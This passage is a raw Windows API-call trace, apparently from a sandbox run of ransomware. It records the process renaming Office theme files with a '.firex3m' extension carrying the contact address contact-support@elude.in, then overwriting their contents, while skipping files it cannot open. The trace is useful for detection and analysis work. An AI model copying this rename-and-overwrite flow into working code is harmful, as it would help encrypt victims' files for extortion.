pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\27.jpg") returned 1 [0261.734] GetProcessHeap () returned 0x630000 [0261.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de4) returned 0x6fe3bb0 [0261.734] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\27.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\27.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.751] Sleep (dwMilliseconds=0x1) [0261.802] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\34.jpg", len=0x7c | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\34.jpg") returned 1 [0261.802] GetProcessHeap () returned 0x630000 [0261.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db8) returned 0x6fe3bb0 [0261.803] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\34.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\34.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.804] Sleep (dwMilliseconds=0x1) [0263.220] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\197.png", len=0x7a | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\197.png") returned 1 [0263.222] GetProcessHeap () returned 0x630000 [0263.222] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d10) returned 0x6fe3bb0 [0263.222] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\197.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\197.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.223] Sleep (dwMilliseconds=0x1) [0264.528] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF", len=0x6c | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF") returned 1 [0264.528] GetProcessHeap () returned 0x630000 [0264.528] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c3c) returned 0x6fe3bb0 [0264.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0264.759] CloseHandle (hObject=0x714) returned 1 [0264.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="CANYON.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CANYON~2.FIR")) returned 0x6d5440 [0264.807] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0264.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0264.845] GetProcessHeap () returned 0x630000 [0264.845] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x723ab0 [0264.845] GetProcessHeap () returned 0x630000 [0264.845] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7234c8 [0264.845] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.845] ReadFile (in: hFile=0x69c, lpBuffer=0x723ab0, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723ab0*, lpNumberOfBytesRead=0x433ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0264.848] GetProcessHeap () returned 0x630000 [0264.848] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0264.848] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.848] WriteFile (in: hFile=0x69c, lpBuffer=0x7234c8*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7234c8*, lpNumberOfBytesWritten=0x433ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0264.848] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.848] WriteFile (in: hFile=0x69c, lpBuffer=0x723687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723687*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0264.848] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.848] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0264.848] CloseHandle (hObject=0x69c) returned 1 [0264.848] GetProcessHeap () returned 0x630000 [0264.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7234c8 | out: hHeap=0x630000) returned 1 [0264.848] GetProcessHeap () returned 0x630000 [0264.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723ab0 | out: hHeap=0x630000) returned 1 [0264.848] GetProcessHeap () returned 0x630000 [0264.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0264.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63cf87e4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x433fd20, dwReserved1=0x723ab0, cFileName="CANYON.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CANYON~2.FIR")) returned 0x6d5040 [0264.852] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0264.852] Sleep (dwMilliseconds=0x1) [0264.909] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM", len=0x70 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM") returned 1 [0264.909] GetProcessHeap () returned 0x630000 [0264.909] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bfc) returned 0x6fe3bb0 [0264.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0264.919] CloseHandle (hObject=0x684) returned 1 [0264.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="AFTRNOON.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AFTRNO~2.FIR")) returned 0x6d51c0 [0265.030] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0265.030] GetProcessHeap () returned 0x630000 [0265.030] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739f200 [0265.030] GetProcessHeap () returned 0x630000 [0265.030] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7273a58 [0265.031] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.031] ReadFile (in: hFile=0x684, lpBuffer=0x739f200, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f200*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.141] GetProcessHeap () returned 0x630000 [0273.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0273.141] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.142] WriteFile (in: hFile=0x684, lpBuffer=0x7273a58*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7273a58*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.142] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.142] WriteFile (in: hFile=0x684, lpBuffer=0x727ee57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ee57*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.142] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.142] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.142] CloseHandle (hObject=0x684) returned 1 [0273.143] GetProcessHeap () returned 0x630000 [0273.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7273a58 | out: hHeap=0x630000) returned 1 [0273.143] GetProcessHeap () returned 0x630000 [0273.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739f200 | out: hHeap=0x630000) returned 1 [0273.151] GetProcessHeap () returned 0x630000 [0273.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0273.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68c15e5c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe5b2, dwReserved0=0xb1c7496, dwReserved1=0x739f1f8, cFileName="AFTRNOON.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AFTRNO~2.FIR")) returned 0x6d4e40 [0273.152] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0273.152] Sleep (dwMilliseconds=0x1) [0275.152] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x61 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0275.152] GetProcessHeap () returned 0x630000 [0275.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb8) returned 0x6fe3bb0 [0275.153] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.154] Sleep (dwMilliseconds=0x1) [0275.170] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim2.scale-150.png", len=0x87 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim2.scale-150.png") returned 1 [0275.170] GetProcessHeap () returned 0x630000 [0275.170] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba4) returned 0x6fe3bb0 [0275.170] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim2.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\toast.dualsim2.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.172] Sleep (dwMilliseconds=0x1) [0275.185] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.small.scale-150.png", len=0x8d | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.small.scale-150.png") returned 1 [0275.185] GetProcessHeap () returned 0x630000 [0275.185] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b98) returned 0x6fe3bb0 [0275.185] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.wink.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.188] Sleep (dwMilliseconds=0x1) [0275.200] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.scale-150.png", len=0x88 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.scale-150.png") returned 1 [0275.200] GetProcessHeap () returned 0x630000 [0275.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b84) returned 0x6fe3bb0 [0275.200] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.smile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.201] Sleep (dwMilliseconds=0x1) [0275.215] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.scale-150.png", len=0x86 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.scale-150.png") returned 1 [0275.215] GetProcessHeap () returned 0x630000 [0275.215] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b78) returned 0x6fe3bb0 [0275.215] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.sad.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.217] Sleep (dwMilliseconds=0x1) [0275.231] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.small.scale-150.png", len=0x97 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.small.scale-150.png") returned 1 [0275.231] GetProcessHeap () returned 0x630000 [0275.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b64) returned 0x6fe3bb0 [0275.231] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.smile.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.233] Sleep (dwMilliseconds=0x1) [0275.294] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.small.scale-150.png", len=0x95 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.small.scale-150.png") returned 1 [0275.294] GetProcessHeap () returned 0x630000 [0275.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b58) returned 0x6fe3bb0 [0275.294] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.sad.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.296] Sleep (dwMilliseconds=0x1) [0275.310] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-150.png", len=0x94 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-150.png") returned 1 [0275.310] GetProcessHeap () returned 0x630000 [0275.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b44) returned 0x6fe3bb0 [0275.310] CreateFileW (lpFileName="C:\\Program 